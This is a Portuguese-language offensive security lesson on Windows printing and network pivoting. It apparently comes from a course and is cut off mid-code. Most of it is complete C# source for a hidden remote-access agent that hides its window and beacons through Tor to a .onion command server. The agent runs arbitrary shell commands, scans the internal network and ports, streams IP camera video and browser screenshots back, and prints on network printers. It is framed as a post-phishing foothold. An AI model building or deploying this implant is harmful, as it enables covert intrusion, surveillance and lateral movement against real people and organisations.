Aula 140 | Impressão Remota via Tor

A impressão pode parecer uma ação trivial para o usuário final, mas por trás de um simples clique em “Imprimir” existe uma cadeia complexa de processos, protocolos e formatos que envolvem diversas camadas do sistema operacional. Nesta aula, vamos abordar desde os fundamentos técnicos da impressão no Windows até seu uso em contextos ofensivos como pivoting em redes internas com uso de dispositivos físicos como impressoras e câmeras IP.

Como o Windows Gerencia a Impressão

O sistema operacional Windows possui um componente central chamado Spooler de Impressão, ou spoolsv.exe. Ele é responsável por:

  1. Receber solicitações de impressão de softwares ou usuários;

  2. Organizar os trabalhos em uma fila;

  3. Enviar os dados para a impressora, cuidando da porta, driver e protocolo utilizado.

Esse mecanismo é conhecido como spooling, um processo que armazena temporariamente dados que serão processados e enviados em outro momento, garantindo estabilidade mesmo com múltiplas tarefas de impressão concorrentes.

Etapas do Processo de Impressão

A cadeia de impressão pode ser dividida nas seguintes etapas:

  1. Aplicação gera o conteúdo – por exemplo, o Microsoft Word ou o Adobe Acrobat.

  2. API GDI (Graphics Device Interface) converte o conteúdo em uma representação gráfica.

  3. O sistema passa o conteúdo para o Spooler de Impressão, que pode gerar arquivos intermediários como EMF ou RAW.

  4. O driver da impressora interpreta esse conteúdo e converte para o formato nativo da impressora, como PCL, PostScript, PRN, etc.

  5. Os dados são enviados via uma porta de comunicação (USB, IP, SMB) para a impressora física.

Métodos de Impressão

1. Método Intermediado (Software como Adobe Acrobat)

  • O conteúdo do PDF é interpretado pelo Adobe Acrobat.

  • A representação gráfica é gerada via GDI ou APIs internas.

  • O Spooler processa e envia para o driver.

  • O driver converte para o formato final e envia à impressora.

Vantagem: Alta compatibilidade
Desvantagem: Depende de software intermediário e pode ser mais lento.

2. Método Direto (RAW)

  • O software ou script envia dados já prontos no formato final (PCL, PRN, etc.) diretamente ao Spooler.

  • O Spooler não interpreta nem altera os dados.

  • A impressora interpreta diretamente os comandos recebidos.

Vantagem: Rápido, direto
Desvantagem: Exige dados exatamente no formato que a impressora compreende

APIs como OpenPrinter, WritePrinter e ClosePrinter são utilizadas para enviar dados diretamente via winspool.drv no modo RAW.

Tipos de Arquivos e Formatos de Impressão

Extensão Nome Completo Descrição
.pdf Portable Document Format Formato portátil, precisa ser interpretado antes de ser impresso
.pcl Printer Command Language Linguagem da HP usada em diversas impressoras
.ps PostScript Linguagem da Adobe, usada em impressoras laser
.eps Encapsulated PostScript Variante do PostScript, com encapsulamento gráfico
.xps XML Paper Specification Formato fixo baseado em XML, usado pelo Windows
.prn Print to File Arquivo gerado pelo driver, contém comandos específicos para impressoras
.raw Raw Data Format Dados já no formato final, prontos para envio
.emf Enhanced Metafile Formato gráfico intermediário gerado pelo GDI

Linguagens de Impressão por Fabricante

Fabricante Modelos Comuns Linguagens de Impressão
HP DeskJet, LaserJet PCL, PostScript
Epson L3150, TM-T20 ESC/P2, ESC/POS, ESC/PRaster
Brother HL-L2350DW, DCP-L2540DW BR-Script (PostScript-like), PCL
Canon PIXMA, imageRUNNER UFR, PCL, PostScript
Lexmark MS310, CS310 PCL, PostScript
Samsung ML-2165W, ProXpress SPL (Samsung Printer Language), PCL

Impressoras como Vetores de Pivoting

Em ambientes de segurança ofensiva, impressoras em rede podem ser utilizadas como alvos internos após o comprometimento de uma máquina Windows. Esse conceito é conhecido como pivoting, onde o atacante usa um ponto de apoio para acessar outros ativos.

Exemplo de fluxo:

  • Um phishing compromete um sistema com Windows 11.

  • O atacante instala um agente de impressão com dois modos:

  • Acrobat Mode (com uso do Adobe para processar PDF)

  • Raw Mode (usando winspool API diretamente)

  • O agente imprime remotamente na impressora da rede com mensagens, instruções ou até códigos.

Táticas e Técnicas (MITRE ATT&CK)

  • T1566.001 – Phishing com anexo malicioso (acesso inicial)

  • T1021.002 – Uso de Print Spooler para movimentação lateral

  • T1210 – Exploração de serviços remotos vulneráveis (HTTP sem autenticação)

  • T1125 – Captura de vídeo (no caso de câmeras IP acessadas via navegador)

Códigos:

Agente C#

.NET:

https://dotnet.microsoft.com/en-us/download

Código para projeto:

mkdir AgentTor
cd AgentTor
dotnet new winforms -n AgentTor
cd AgentTor

Código AgentTor.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>WinExe</OutputType>
    <TargetFramework>net9.0-windows</TargetFramework>
    <UseWindowsForms>true</UseWindowsForms>
    <RuntimeIdentifier>win-x64</RuntimeIdentifier>
    <PublishSingleFile>true</PublishSingleFile>
    <SelfContained>true</SelfContained>
    <ImplicitUsings>enable</ImplicitUsings>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="PuppeteerSharp" Version="20.2.0" />
  </ItemGroup>
</Project>

Código Program.cs:

using System;
using System.IO;
using System.Net;
using System.Net.Http;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.Linq;
using PuppeteerSharp;
using PuppeteerSharp.Input;
using System.Text.Json;
using System.Drawing.Printing;
using System.ComponentModel;

public class Agente
{
    private const string EnderecoProxyTor = "127.0.0.1";
    private const int PortaProxyTor = 9050;
    private const string HostOnion = "dominio.onion";
    private const int PortaOnion = 4444;
    private const int AtrasoReconexao = 15000;

    private static volatile bool isLongRunningSessionActive = false;
    private static CancellationTokenSource sessionTokenSource;
    private static IPage paginaNavegador;
    private static IBrowser navegador;

    [DllImport("kernel32.dll")]
    private static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    private const int SW_OCULTAR = 0;

    public class DispositivoDeRede
    {
        public string IP { get; set; }
        public string MAC { get; set; }
        public string Manufacturer { get; set; }
        public string Type { get; set; }
    }

    public class RespostaScan
    {
        public string type { get; set; } = "network_scan";
        public List<DispositivoDeRede> devices { get; set; }
    }

    public class RespostaImpressoras
    {
        public string type { get; set; } = "printer_list";
        public List<string> printers { get; set; }
    }

    public void ExecutarCiclo()
    {
        ShowWindow(GetConsoleWindow(), SW_OCULTAR);
        while (true)
        {
            try
            {
                using (var cliente = new TcpClient())
                {
                    cliente.Connect(EnderecoProxyTor, PortaProxyTor);
                    using (var stream = cliente.GetStream())
                    {
                        RealizarHandshakeSocks(stream, HostOnion, PortaOnion);
                        ProcessarFluxoDeDados(stream);
                    }
                }
            }
            catch
            {
            }
            finally
            {
                sessionTokenSource?.Cancel();
                isLongRunningSessionActive = false;
            }
            Thread.Sleep(AtrasoReconexao);
        }
    }

    private void LerBytesExatos(NetworkStream stream, byte[] buffer, int bytesParaLer)
    {
        int totalBytesLidos = 0;
        while (totalBytesLidos < bytesParaLer)
        {
            int bytesLidos = stream.Read(buffer, totalBytesLidos, bytesParaLer - totalBytesLidos);
            if (bytesLidos == 0) throw new EndOfStreamException("Conexão fechada pelo C2.");
            totalBytesLidos += bytesLidos;
        }
    }

    private void RealizarHandshakeSocks(NetworkStream stream, string host, int porta)
    {
        stream.Write(new byte[] { 0x05, 0x01, 0x00 }, 0, 3);
        var respostaAuth = new byte[2];
        LerBytesExatos(stream, respostaAuth, 2);
        if (respostaAuth[1] != 0x00) throw new Exception("Falha na autenticação SOCKS.");

        var hostBytes = Encoding.ASCII.GetBytes(host);
        var requisicao = new List<byte> { 0x05, 0x01, 0x00, 0x03, (byte)hostBytes.Length };
        requisicao.AddRange(hostBytes);
        requisicao.Add((byte)(porta >> 8));
        requisicao.Add((byte)(porta & 0xFF));
        stream.Write(requisicao.ToArray(), 0, requisicao.Count);

        var respostaConexao = new byte[10];
        LerBytesExatos(stream, respostaConexao, 10);
        if (respostaConexao[1] != 0x00) throw new Exception($"Falha na conexão SOCKS: código {respostaConexao[1]}");
    }

    private void ProcessarFluxoDeDados(NetworkStream stream)
    {
        while (true)
        {
            try
            {
                var cabecalhoBuffer = new byte[5];
                LerBytesExatos(stream, cabecalhoBuffer, 5);
                
                int tamanhoMensagem = BitConverter.ToInt32(cabecalhoBuffer, 1);
                var dadosBuffer = new byte[tamanhoMensagem];
                LerBytesExatos(stream, dadosBuffer, tamanhoMensagem);
                
                string comando = Encoding.UTF8.GetString(dadosBuffer).Trim();
                
                bool isInteractionCommand = comando.StartsWith("CLICK:") || comando.StartsWith("TYPE:") || comando.StartsWith("KEY_PRESS:") || comando.StartsWith("SCROLL:");

                if (isInteractionCommand && isLongRunningSessionActive)
                {
                    _ = ProcessarComandoInteracao(comando);
                }
                else if (comando.Equals("fecharpagina", StringComparison.OrdinalIgnoreCase))
                {
                    sessionTokenSource?.Cancel();
                }
                else if (comando.StartsWith("netcattestnav:") || comando.StartsWith("netcattestcamera:"))
                {
                    if (isLongRunningSessionActive)
                    {
                        EnviarMensagem(stream, 0x01, "[!] Já existe uma sessão principal (câmera/navegação) ativa. Use 'fecharpagina' para encerrá-la.").Wait();
                    }
                    else
                    {
                        isLongRunningSessionActive = true;
                        sessionTokenSource = new CancellationTokenSource();
                        if (comando.StartsWith("netcattestnav:"))
                        {
                            var url = comando.Substring("netcattestnav:".Length).Trim();
                            if (!url.StartsWith("http://") && !url.StartsWith("https://")) url = "http://" + url;
                            Task.Run(() => IniciarSessaoNavegador(url, stream, sessionTokenSource.Token));
                        }
                        else
                        {
                            Task.Run(() => IniciarCapturaCamera(comando, stream, sessionTokenSource.Token));
                        }
                    }
                }
                else if (comando.Equals("netcattest -h", StringComparison.OrdinalIgnoreCase))
                {
                    Task.Run(() => EnviarAjuda(stream));
                }
                else if (comando.StartsWith("netcattestscan", StringComparison.OrdinalIgnoreCase))
                {
                    Task.Run(() => EscanearRedeLocal(stream));
                }
                else if (comando.StartsWith("netcattestportas:", StringComparison.OrdinalIgnoreCase))
                {
                    var payload = comando.Substring("netcattestportas:".Length).Trim();
                    Task.Run(() => VerificarPorta(payload, stream));
                }
                else if (comando.StartsWith("netcattestimpressoras", StringComparison.OrdinalIgnoreCase))
                {
                    Task.Run(() => ListarImpressoras(stream));
                }
                else if (comando.StartsWith("netcattestimprimir:", StringComparison.OrdinalIgnoreCase))
                {
                    Task.Run(() => IniciarImpressao(comando, stream));
                }
                else
                {
                    ExecutarComandoShell(comando, stream);
                }
            }
            catch
            {
                break;
            }
        }
    }
    
    private async Task ProcessarComandoInteracao(string comando)
    {
        if (paginaNavegador != null)
        {
            try
            {
                if (comando.StartsWith("CLICK:", StringComparison.OrdinalIgnoreCase))
                {
                    var partes = comando.Substring("CLICK:".Length).Split(',');
                    if (partes.Length == 2 && int.TryParse(partes[0], out int x) && int.TryParse(partes[1], out int y))
                        await paginaNavegador.Mouse.ClickAsync(x, y);
                }
                else if (comando.StartsWith("TYPE:", StringComparison.OrdinalIgnoreCase))
                {
                    await paginaNavegador.Keyboard.TypeAsync(comando.Substring("TYPE:".Length), new TypeOptions { Delay = 10 });
                }
                else if (comando.StartsWith("KEY_PRESS:", StringComparison.OrdinalIgnoreCase))
                {
                    await paginaNavegador.Keyboard.PressAsync(comando.Substring("KEY_PRESS:".Length));
                }
                else if (comando.StartsWith("SCROLL:", StringComparison.OrdinalIgnoreCase))
                {
                    if (int.TryParse(comando.Substring("SCROLL:".Length), out int delta))
                        await paginaNavegador.EvaluateExpressionAsync($"window.scrollBy(0, {delta})");
                }
            }
            catch
            {
            }
        }
    }

    private async Task EnviarMensagem(NetworkStream stream, byte tipo, string texto)
    {
        if (string.IsNullOrEmpty(texto)) return;
        byte[] dados = Encoding.UTF8.GetBytes(texto);
        await EnviarPayload(stream, tipo, dados);
    }

    private async Task EnviarPayload(NetworkStream stream, byte tipo, byte[] dados)
    {
        try
        {
            if (stream == null || !stream.CanWrite || dados == null || dados.Length == 0) return;
            
            byte[] tamanho = BitConverter.GetBytes(dados.Length);
            var mensagemCompleta = new byte[5 + dados.Length];
            mensagemCompleta[0] = tipo;
            Buffer.BlockCopy(tamanho, 0, mensagemCompleta, 1, 4);
            Buffer.BlockCopy(dados, 0, mensagemCompleta, 5, dados.Length);
            
            await stream.WriteAsync(mensagemCompleta, 0, mensagemCompleta.Length);
        }
        catch
        {
        }
    }

    private string EncontrarExecutavel(string[] nomes, Environment.SpecialFolder[] pastasBase)
    {
        var caminhosEspecificos = new List<string>
        {
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "Adobe", "Acrobat DC", "Acrobat"),
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Adobe", "Acrobat DC", "Acrobat"),
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "Adobe", "Acrobat Reader DC", "Reader"),
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Adobe", "Acrobat Reader DC", "Reader"),
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "Adobe", "Reader 11.0", "Reader"),
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Adobe", "Reader 11.0", "Reader")
        };

        foreach (var caminho in caminhosEspecificos)
        {
            foreach (var nome in nomes)
            {
                string caminhoCompleto = Path.Combine(caminho, nome);
                if (File.Exists(caminhoCompleto))
                {
                    return caminhoCompleto;
                }
            }
        }

        var caminhosBuscaAmpla = new List<string>();
        foreach (var pasta in pastasBase)
        {
            string caminhoPasta = Environment.GetFolderPath(pasta);
            if (!string.IsNullOrEmpty(caminhoPasta))
            {
                caminhosBuscaAmpla.Add(caminhoPasta);
            }
        }

        foreach (var caminhoBase in caminhosBuscaAmpla.Where(d => !string.IsNullOrEmpty(d) && Directory.Exists(d)))
        {
            foreach (var nome in nomes)
            {
                try
                {
                    var arquivos = Directory.GetFiles(caminhoBase, nome, SearchOption.AllDirectories);
                    if (arquivos.Length > 0)
                    {
                        return arquivos.OrderByDescending(f => new FileInfo(f).LastWriteTime).FirstOrDefault();
                    }
                }
                catch (UnauthorizedAccessException) { }
            }
        }
        return null;
    }

    private async Task IniciarSessaoNavegador(string url, NetworkStream stream, CancellationToken token)
    {
        try
        {
            await EnviarMensagem(stream, 0x01, "[+] Procurando instalação de navegador (Chrome/Edge)...");
            string caminhoNavegador = EncontrarExecutavel(
                new[] { "chrome.exe", "msedge.exe" }, 
                new[] { Environment.SpecialFolder.ProgramFiles, Environment.SpecialFolder.ProgramFilesX86, Environment.SpecialFolder.LocalApplicationData }
            );
            
            if (string.IsNullOrEmpty(caminhoNavegador))
            {
                await EnviarMensagem(stream, 0x01, "[!] Nenhum navegador compatível (Chrome/Edge) foi encontrado.");
                isLongRunningSessionActive = false;
                return;
            }
            await EnviarMensagem(stream, 0x01, $"[+] Usando navegador em: {caminhoNavegador}");

            navegador = await Puppeteer.LaunchAsync(new LaunchOptions 
            { 
                Headless = true, 
                ExecutablePath = caminhoNavegador, 
                Args = new[] { "--no-sandbox", "--disable-gpu", "--ignore-certificate-errors" }
            });
            paginaNavegador = await navegador.NewPageAsync();
            await paginaNavegador.SetViewportAsync(new ViewPortOptions { Width = 1280, Height = 720 });
            await EnviarMensagem(stream, 0x01, $"[+] Navegando para: {url}");
            await paginaNavegador.GoToAsync(url, new NavigationOptions { WaitUntil = new[] { WaitUntilNavigation.Networkidle2 }, Timeout = 30000 });
            
            _ = TransmitirTela(stream, token);
            await Task.Delay(Timeout.Infinite, token);
        }
        catch(OperationCanceledException) {}
        catch (Exception ex)
        {
            await EnviarMensagem(stream, 0x01, $"[!] Erro na sessão de navegação: {ex.Message}");
        }
        finally
        {
            if (navegador != null) await navegador.CloseAsync();
            isLongRunningSessionActive = false;
            paginaNavegador = null;
            await EnviarMensagem(stream, 0x01, "[+] Sessão de navegação encerrada.");
        }
    }

    private async Task TransmitirTela(NetworkStream stream, CancellationToken token)
    {
        while (!token.IsCancellationRequested)
        {
            try
            {
                var dadosScreenshot = await paginaNavegador.ScreenshotDataAsync(new ScreenshotOptions { Type = ScreenshotType.Jpeg, Quality = 80 });
                await EnviarPayload(stream, 0x02, dadosScreenshot);
                await Task.Delay(100, token);
            }
            catch (Exception) { break; }
        }
    }

    private async Task IniciarCapturaCamera(string comando, NetworkStream stream, CancellationToken token)
    {
        try
        {
            string[] partes = comando.Substring("netcattestcamera:".Length).Split(new[] { ':' }, 4);
            if (partes.Length < 3)
            {
                await EnviarMensagem(stream, 0x01, "[!] Formato de comando de câmera inválido. Use: usuario:senha:IP[:/caminho]");
                return;
            }

            string usuario = partes[0];
            string senha = partes[1];
            string ip = partes[2];
            string caminhoEspecifico = partes.Length > 3 ? partes[3] : "";

            var caminhosParaTestar = new List<string>();
            if (!string.IsNullOrEmpty(caminhoEspecifico)) caminhosParaTestar.Add(caminhoEspecifico);
            else caminhosParaTestar.AddRange(new List<string> { "/mjpg/video.mjpg", "/video.cgi", "/videostream.cgi", "/stream.mjpg", "/mjpeg.cgi", "/video.mjpg", "/cam/realmonitor?channel=1&subtype=0", "/axis-cgi/mjpg/video.cgi" });

            var client = new HttpClient(new HttpClientHandler { Credentials = new NetworkCredential(usuario, senha), PreAuthenticate = true });
            client.Timeout = TimeSpan.FromSeconds(10);

            bool sucesso = false;
            foreach (var caminho in caminhosParaTestar)
            {
                if (token.IsCancellationRequested) break;
                string url = $"http://{ip}{caminho}";
                await EnviarMensagem(stream, 0x01, $"[+] Tentando câmera em: {url}");

                try
                {
                    var response = await client.GetAsync(url, HttpCompletionOption.ResponseHeadersRead, token);
                    if (response.IsSuccessStatusCode && response.Content.Headers.ContentType?.MediaType == "multipart/x-mixed-replace")
                    {
                        await EnviarMensagem(stream, 0x01, $"[+] Conexão bem-sucedida! Iniciando stream...");
                        await TransmitirStreamMJPEG(stream, response, token);
                        sucesso = true;
                        break;
                    }
                    else await EnviarMensagem(stream, 0x01, $"[-] Falhou: Status {response.StatusCode}, ContentType {response.Content.Headers.ContentType?.MediaType}");
                }
                catch (Exception ex)
                {
                    await EnviarMensagem(stream, 0x01, $"[!] Falha ao conectar: {ex.Message}");
                }
            }

            if (!sucesso && !token.IsCancellationRequested)
            {
                await EnviarMensagem(stream, 0x01, "[!] Não foi possível conectar a nenhum caminho de câmera conhecido.");
            }
        }
        catch (Exception ex)
        {
             await EnviarMensagem(stream, 0x01, $"[!] Erro crítico na captura de câmera: {ex.Message}");
        }
        finally
        {
            isLongRunningSessionActive = false;
            await EnviarMensagem(stream, 0x01, "[+] Sessão de câmera encerrada.");
        }
    }

    private async Task TransmitirStreamMJPEG(NetworkStream c2Stream, HttpResponseMessage camResponse, CancellationToken token)
    {
        var boundary = camResponse.Content.Headers.ContentType.Parameters.FirstOrDefault(p => p.Name.Equals("boundary", StringComparison.OrdinalIgnoreCase))?.Value.Trim('"');
        if (string.IsNullOrEmpty(boundary)) throw new Exception("Boundary do MJPEG não encontrado no cabeçalho Content-Type.");
        
        byte[] boundaryBytes = Encoding.UTF8.GetBytes("--" + boundary);
        using (var streamCamera = await camResponse.Content.ReadAsStreamAsync())
        {
            while (!token.IsCancellationRequested)
            {
                try
                {
                    byte[] frameData = await ReadNextFrameAsync(streamCamera, boundaryBytes, token);
                    if (frameData.Length > 0) await EnviarPayload(c2Stream, 0x02, frameData);
                    else await Task.Delay(100, token);
                }
                catch (OperationCanceledException) { break; }
                catch (Exception) { break; }
            }
        }
    }

    private async Task<byte[]> ReadNextFrameAsync(Stream stream, byte[] boundaryBytes, CancellationToken token)
    {
        using (var memoryStream = new MemoryStream())
        {
            int contentLength = 0;
            string line;
            while (!string.IsNullOrEmpty(line = await ReadLineAsync(stream, token)) && !line.Contains(Encoding.UTF8.GetString(boundaryBytes))) { }
            while (!string.IsNullOrEmpty(line = await ReadLineAsync(stream, token)))
            {
                if (line.StartsWith("Content-Length:", StringComparison.OrdinalIgnoreCase))
                {
                    int.TryParse(line.Substring("Content-Length:".Length).Trim(), out contentLength);
                }
            }

            if (contentLength > 0)
            {
                var buffer = new byte[contentLength];
                int totalRead = 0;
                while (totalRead < contentLength)
                {
                    int read = await stream.ReadAsync(buffer, totalRead, contentLength - totalRead, token);
                    if (read == 0) throw new EndOfStreamException("Stream da câmera fechado inesperadamente.");
                    totalRead += read;
                }
                return buffer;
            }
            return new byte[0];
        }
    }
    
    private async Task<string> ReadLineAsync(Stream stream, CancellationToken token)
    {
        var sb = new StringBuilder();
        while (true)
        {
            int b = stream.ReadByte();
            if (b == -1) break;
            token.ThrowIfCancellationRequested();
            char c = (char)b;
            if (c == '\n') break;
            if (c != '\r') sb.Append(c);
        }
        return sb.ToString();
    }

    private async Task EscanearRedeLocal(NetworkStream stream)
    {
        await EnviarMensagem(stream, 0x01, "[+] Iniciando escaneamento avançado da rede local...");
        var dispositivos = new List<DispositivoDeRede>();
        try
        {
            var tasks = new List<Task>();
            foreach (var ni in NetworkInterface.GetAllNetworkInterfaces())
            {
                if (ni.OperationalStatus == OperationalStatus.Up && ni.NetworkInterfaceType != NetworkInterfaceType.Loopback)
                {
                    foreach (var ipInfo in ni.GetIPProperties().UnicastAddresses)
                    {
                        if (ipInfo.Address.AddressFamily == AddressFamily.InterNetwork)
                        {
                            tasks.Add(EscanearSubRede(ipInfo, stream, dispositivos));
                        }
                    }
                }
            }
            await Task.WhenAll(tasks);
        }
        catch (Exception ex)
        {
            await EnviarMensagem(stream, 0x01, $"[!] Erro durante o escaneamento: {ex.Message}");
        }
        var resposta = new RespostaScan { devices = dispositivos };
        string jsonResposta = JsonSerializer.Serialize(resposta);
        await EnviarMensagem(stream, 0x01, jsonResposta);
    }

    private async Task EscanearSubRede(UnicastIPAddressInformation ipInfo, NetworkStream stream, List<DispositivoDeRede> dispositivos)
    {
        await EnviarMensagem(stream, 0x01, $"[+] Escaneando sub-rede de {ipInfo.Address}...");
        var ip = ipInfo.Address;
        var mask = ipInfo.IPv4Mask;
        var ipBytes = ip.GetAddressBytes();
        var maskBytes = mask.GetAddressBytes();
        var startIpBytes = new byte[4];
        var endIpBytes = new byte[4];
        for (int i = 0; i < 4; i++)
        {
            startIpBytes[i] = (byte)(ipBytes[i] & maskBytes[i]);
            endIpBytes[i] = (byte)(ipBytes[i] | ~maskBytes[i]);
        }
        var pingTasks = new List<Task>();
        for (uint i = BitConverter.ToUInt32(startIpBytes.Reverse().ToArray(), 0) + 1; i < BitConverter.ToUInt32(endIpBytes.Reverse().ToArray(), 0); i++)
        {
            var targetIp = new IPAddress(BitConverter.GetBytes(i).Reverse().ToArray());
            pingTasks.Add(new Ping().SendPingAsync(targetIp, 1000));
        }
        await Task.WhenAll(pingTasks);
        await Task.Delay(3000);
        string saidaArp = ExecutarComandoLocal("arp", "-a");
        var macVendors = new Dictionary<string, string> { {"00:0C:29", "VMware"}, {"00:50:56", "VMware"}, {"00:05:69", "VMware"}, {"B8:27:EB", "Raspberry Pi"}, {"DC:A6:32", "Raspberry Pi"}, {"08:00:27", "VirtualBox"} };
        foreach(var linha in saidaArp.Split(new[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries))
        {
            var partes = linha.Trim().Split(new[] { ' ' }, StringSplitOptions.RemoveEmptyEntries);
            if (partes.Length >= 2 && IPAddress.TryParse(partes[0], out IPAddress devIpAddr))
            {
                if (devIpAddr.AddressFamily != AddressFamily.InterNetwork || devIpAddr.Equals(IPAddress.Broadcast) || (devIpAddr.GetAddressBytes()[0] >= 224)) continue;
                string devIp = partes[0].Trim();
                string devMac = partes[1].Trim().ToUpper().Replace('-',':');
                string macPrefix = devMac.Length > 8 ? devMac.Substring(0, 8) : "";
                string vendor = macVendors.ContainsKey(macPrefix) ? macVendors[macPrefix] : "Desconhecido";
                var device = new DispositivoDeRede { IP = devIp, MAC = devMac, Manufacturer = vendor, Type = "Desconhecido" };
                lock(dispositivos) { if(!dispositivos.Any(d => d.IP == devIp)) dispositivos.Add(device); }
            }
        }
    }

    private async Task VerificarPorta(string alvo, NetworkStream stream)
    {
        string[] partes = alvo.Split(':');
        if (partes.Length != 2 || !IPAddress.TryParse(partes[0], out _) || !int.TryParse(partes[1], out int porta))
        {
            await EnviarMensagem(stream, 0x01, $"[!] Formato inválido. Use: IP:Porta. Recebido: {alvo}");
            return;
        }
        string ip = partes[0];
        await EnviarMensagem(stream, 0x01, $"[+] Verificando {ip}:{porta}...");
        try
        {
            using (var clientePorta = new TcpClient())
            {
                var task = clientePorta.ConnectAsync(ip, porta);
                if (await Task.WhenAny(task, Task.Delay(2000)) == task && !task.IsFaulted)
                {
                    await EnviarMensagem(stream, 0x01, $"[+] Resultado: A porta {porta} em {ip} está ABERTA.");
                }
                else
                {
                    await EnviarMensagem(stream, 0x01, $"[-] Resultado: A porta {porta} em {ip} está FECHADA ou sem resposta.");
                }
            }
        }
        catch (Exception)
        {
            await EnviarMensagem(stream, 0x01, $"[-] Resultado: A porta {porta} em {ip} está FECHADA ou sem resposta.");
        }
    }

    private async Task IniciarImpressao(string comando, NetworkStream stream)
    {
        string tempFilePath = null;
        try
        {
            var partes = comando.Substring("netcattestimprimir:".Length).Split(new[] { ':' }, 4);
            if (partes.Length < 4)
            {
                await EnviarMensagem(stream, 0x01, "[!] Comando de impressão inválido.");
                return;
            }
            string metodo = partes[0];
            string nomeImpressora = partes[1];
            string nomeTrabalho = partes[2];
            string dadosBase64 = partes[3];
            
            byte[] arquivoBytes;
            try
            {
                arquivoBytes = Convert.FromBase64String(dadosBase64);
            }
            catch (FormatException)
            {
                await EnviarMensagem(stream, 0x01, "[!] Erro: Os dados do arquivo recebido não estão em formato Base64 válido.");
                return;
            }
            
            bool isPdf = arquivoBytes.Length > 4 && Encoding.ASCII.GetString(arquivoBytes, 0, 4) == "%PDF";
            
            await EnviarMensagem(stream, 0x01, $"[+] Enviando para '{nomeImpressora}' via '{metodo}'...");
            
            if (metodo.Equals("acrobat", StringComparison.OrdinalIgnoreCase))
            {
                if (!isPdf)
                {
                    await EnviarMensagem(stream, 0x01, "[!] ERRO: O método 'acrobat' só pode ser usado para arquivos PDF.");
                    return;
                }

                string executavelPath = EncontrarExecutavel(
                    new[] { "Acrobat.exe", "AcroRd32.exe" }, 
                    new[] { Environment.SpecialFolder.ProgramFiles, Environment.SpecialFolder.ProgramFilesX86 }
                );

                if (string.IsNullOrEmpty(executavelPath))
                {
                    await EnviarMensagem(stream, 0x01, "[!] Adobe Acrobat/Reader não encontrado. A busca foi realizada em caminhos padrão e Program Files.");
                    return;
                }
                
                string nomeArquivoSeguro = new string(nomeTrabalho.Where(c => !Path.GetInvalidFileNameChars().Contains(c)).ToArray()).Trim();
                if (string.IsNullOrWhiteSpace(nomeArquivoSeguro))
                {
                    nomeArquivoSeguro = "ImpressaoRemota";
                }
                tempFilePath = Path.Combine(Path.GetTempPath(), nomeArquivoSeguro + ".pdf");
                await File.WriteAllBytesAsync(tempFilePath, arquivoBytes);

                await EnviarMensagem(stream, 0x01, $"[+] Usando: {executavelPath}");
                await EnviarMensagem(stream, 0x01, "[AVISO] O nome na fila de impressão é definido pelo título de metadados do PDF, o que pode diferir do nome do trabalho fornecido.");

                string argumentos = $"/t \"{tempFilePath}\" \"{nomeImpressora}\"";
                var psi = new ProcessStartInfo(executavelPath, argumentos) 
                { 
                    CreateNoWindow = true, 
                    UseShellExecute = false,
                    WindowStyle = ProcessWindowStyle.Hidden
                };
                
                using (var processo = Process.Start(psi))
                {
                    if (processo != null)
                    {
                        await EnviarMensagem(stream, 0x01, "[+] Comando de impressão enviado ao Acrobat. Aguardando o processo ser finalizado (timeout: 60s)...");
                        bool processoFinalizado = processo.WaitForExit(60000);
                        if (processoFinalizado)
                        {
                            await EnviarMensagem(stream, 0x01, "[+] O processo de impressão foi concluído.");
                        }
                        else
                        {
                            try 
                            { 
                                if (!processo.HasExited) processo.Kill(); 
                            } 
                            catch {}
                            await EnviarMensagem(stream, 0x01, "[AVISO] O processo do Acrobat não finalizou no tempo esperado e foi forçado a fechar. A impressão pode estar em andamento.");
                        }
                    }
                    else
                    {
                        await EnviarMensagem(stream, 0x01, "[!] Falha ao iniciar o processo do Acrobat.");
                    }
                }
            }
            else if (metodo.Equals("raw", StringComparison.OrdinalIgnoreCase))
            {
                if (isPdf)
                {
                     await EnviarMensagem(stream, 0x01, "[!] ERRO: O método 'raw' não pode ser usado para imprimir arquivos PDF. Use o método 'acrobat'. Impressão cancelada.");
                     return;
                }
                
                await EnviarMensagem(stream, 0x01, "[AVISO] O modo RAW enviará os dados diretamente. O arquivo deve estar em um formato que a impressora entenda (PCL, PRN, etc).");
                
                if (RawPrinterHelper.SendBytesToPrinter(nomeImpressora, arquivoBytes, nomeTrabalho))
                {
                    await EnviarMensagem(stream, 0x01, "[+] Arquivo enviado para a fila de impressão (RAW) com sucesso!");
                }
                else
                {
                    await EnviarMensagem(stream, 0x01, $"[!] Falha ao enviar para a fila de impressão (RAW). Erro do sistema: {new Win32Exception(Marshal.GetLastWin32Error()).Message}");
                }
            }
            else
            {
                await EnviarMensagem(stream, 0x01, $"[!] Método de impressão '{metodo}' desconhecido.");
            }
        }
        catch (Exception ex)
        {
            await EnviarMensagem(stream, 0x01, $"[!] Erro ao imprimir: {ex.Message}");
        }
        finally
        {
            if (tempFilePath != null && File.Exists(tempFilePath))
            {
                try { File.Delete(tempFilePath); } catch { }
            }
        }
    }

    private async Task ListarImpressoras(NetworkStream stream)
    {
        try
        {
            var printerNames = new List<string>();
            foreach (string printer in PrinterSettings.InstalledPrinters)
            {
                printerNames.Add(printer);
            }
            var response = new RespostaImpressoras { printers = printerNames };
            string jsonResponse = JsonSerializer.Serialize(response);
            await EnviarMensagem(stream, 0x01, jsonResponse);
        }
        catch (Exception ex)
        {
            await EnviarMensagem(stream, 0x01, $"[!] Erro ao listar impressoras: {ex.Message}");
        }
    }
    
    private async Task EnviarAjuda(NetworkStream stream)
    {
        var sb = new StringBuilder();
        sb.AppendLine("--- Menu de Ajuda ---");
